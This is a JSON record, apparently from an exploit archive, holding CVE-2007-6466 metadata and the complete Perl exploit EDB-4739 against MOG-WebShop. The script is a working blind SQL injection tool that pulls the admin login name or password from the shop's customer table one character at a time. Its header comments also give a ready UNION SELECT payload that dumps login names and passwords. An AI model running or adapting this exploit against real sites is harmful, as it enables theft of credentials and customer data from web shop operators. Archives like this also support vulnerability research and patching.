{"exploit":{"id":"EDB-4739","name":"MOG-WebShop - 'index.php?group' SQL Injection (SQLi)","description":"MOG-WebShop - 'index.php?group' SQL Injection (SQLi)","cves":["CVE-2007-6466"],"author":"k1tk4t","published":"2007-12-18","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4739","path":"exploits/php/webapps/4739.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4739.pl","vulnerabilities":[{"id":"CVE-2007-6466","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SQL injection vulnerabilities in index.php in FreeWebshop 2.2.1 allow remote attackers to execute arbitrary SQL commands via (1) the prod parameter in a details action, (2) the cat parameter in a browse list action, or (3) the group parameter in a categories action. NOTE: it was later reported that MOG - Web Shop (MOG-WebShop), a product based on the same code, is also affected.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-6466","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-6466"},"updatedAt":"2024-08-07T16:11:05.973Z","retrievedAt":"2026-11-27T02:15:42.634Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4739.png?v=2","url":"https://exploitbin.com/exploits/EDB-4739","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4739/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4739/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#\n# Indonesian Newhack Security Advisory\n# ------------------------------------\n# MOG-WebShop => ? - Multiple Remote SQL Injection Vulnerabilities\n# Waktu            :  Dec 15 2007 11:45AM\n# Software         :  MOG-WebShop | http://mog-site.com/index.php?act=product&po=detil&id=3\n# Vendor           :  http://mog-site.com/\n# Demo Site        :  http://mog-site.com/mog_product/webshop/\n# Ditemukan oleh   :  k1tk4t  |  http://newhack.org\n# Lokasi           :  Indonesia\n#\n#\n# - variable \"prod\" pada \"detail\" tidak terfilter dengan baik sebelumnya sehingga user dapat memanipulasi sql query melalui browser secara remote\n# ;\n# http://korban.site/index.php?page=details&prod=[SQLI]&cat=0&group=0\n#\n# - variable \"cat\" pada \"list\" tidak terfilter dengan baik sebelumnya sehingga user dapat memanipulasi sql query melalui browser secara remote\n# ;\n# http://korban.site/index.php?page=browse&action=list&group=0&cat=[SQLI]&orderby=DESCRIPTION\n#\n# - variable \"group\" pada berkas \"index.php\" tidak terfilter dengan baik sebelumnya sehingga user dapat memanipulasi sql query melalui browser secara remote\n# ;\n# http://korban.site/index.php?group=[Blind SQLI]&page=categories\n#\n# Contoh [SQLI] ;\n# http://korban.site/index.php?page=browse&action=list&group=0&cat=-1/**/UNION/**/SELECT/**/null,concat(loginname,0x3a,password),null/**/from/**/customer/**/limit/**/0,1/*&orderby=DESCRIPTION\n#\n#\n# Terima Kasih untuk;\n# -[opt1lc, fl3xu5, ghoz]-\n# str0ke, DNX, xoron, cyb3rh3b, K-159, the_hydra, y3dips\n# nyubi,iFX,sin~X,kin9k0ng,bius,selikoer,aldy_BT\n# Komunitas Security dan Hacker Indonesia\n#\n#\n# ----------------------------------------------------------------\nuse LWP::UserAgent;\nuse Getopt::Long;\n\nif(!$ARGV[1])\n{\n print \"\\n  |-------------------------------------------------|\";\n print \"\\n  |         Indonesian Newhack Technology           |\";\n print \"\\n  |-------------------------------------------------|\";\n print \"\\n  |  MOG-WebShop => ? (group) Blind SQL Injection   |\";\n print \"\\n  |     Found by k1tk4t [k1tk4t(at)newhack.org]     |\";\n print \"\\n  |   DNX Code [dnx(at)hackermail.com] | Modified   |\";\n print \"\\n  |-------------------------------------------------|\";\n print \"\\n[!] \";\n print \"\\n[!] Kutu pada index.php dengan variable (group) yang dapat dimanipulasi secara Blind SQLI\";\n print \"\\n[!] Penggunaan : perl MOG-WebShop.pl [Host] [Path] \";\n print \"\\n[!] Contoh     : perl MOG-WebShop.pl 127.0.0.1 /WebShop/ -c 2 -o 1\";\n print \"\\n[!] Options:\";\n print \"\\n       -c [no]       nilai sebenarnya dari group pada index.php, default 1\";\n print \"\\n       -o [no]       1 = admin name (default)\";\n print \"\\n                     2 = admin password\";\n print \"\\n       -p [ip:port]  Proxy support\";\n print \"\\n\";\n exit;\n}\n\nmy $host    = $ARGV[0];\nmy $path    = $ARGV[1];\nmy $cat     = 1;\nmy $column  = \"loginname\";\nmy %options = ();\nGetOptions(\\%options, \"c=i\", \"o=i\", \"p=s\");\n\nprint \"[!] Exploiting...\\n\";\n\nif($options{\"c\"}) { $cat = $options{\"c\"}; }\nif($options{\"o\"} && $options{\"o\"} == 2) { $column = \"password\"; }\n\nsyswrite(STDOUT, \"[!] Data : \", 12);\n\nfor(my $i = 1; $i <= 32; $i++)\n{\n my $found = 0;\n my $h = 48;\n while(!$found && $h <= 57)\n {\n   if(istrue2($host, $path, $i, $h))\n   {\n     $found = 1;\n     syswrite(STDOUT, chr($h), 1);\n   }\n   $h++;\n }\n if(!$found)\n {\n   $h = 97;\n   while(!$found && $h <= 122)\n   {\n     if(istrue2($host, $path, $i, $h))\n     {\n       $found = 1;\n       syswrite(STDOUT, chr($h), 1);\n     }\n     $h++;\n   }\n }\n}\n\nprint \"\\n[!] Exploit done\\n\";\n\nsub istrue2\n{\n my $host  = shift;\n my $path  = shift;\n my $i     = shift;\n my $h     = shift;\n\n my $ua = LWP::UserAgent->new;\n my $url = \"http://\".$host.$path.\"index.php?group=\".$cat.\"%20AND%20SUBSTRING((SELECT%20\".$column.\"%20FROM%20customer%20LIMIT%200,1),\".$i.\",1)=CHAR(\".$h.\")&page=categories\";\n\n if($options{\"p\"})\n {\n   $ua->proxy('http', \"http://\".$options{\"p\"});\n }\n\n my $response = $ua->get($url);\n my $content = $response->content;\n my $regexp = \"cat.gif\";\n\n if($content =~ /$regexp/)\n {\n   return 1;\n }\n else\n {\n   return 0;\n }\n}\n\n# milw0rm.com [2007-12-18]","sha256":"ae4f2d24c3a56e6fb62be0ab4d76ceef6837b58fef7b8bb617f07340f1db9046","bytes":4069,"fetchedAt":"2026-11-27T05:12:18.633Z","encoding":"utf-8 (display only; download retains original bytes)"}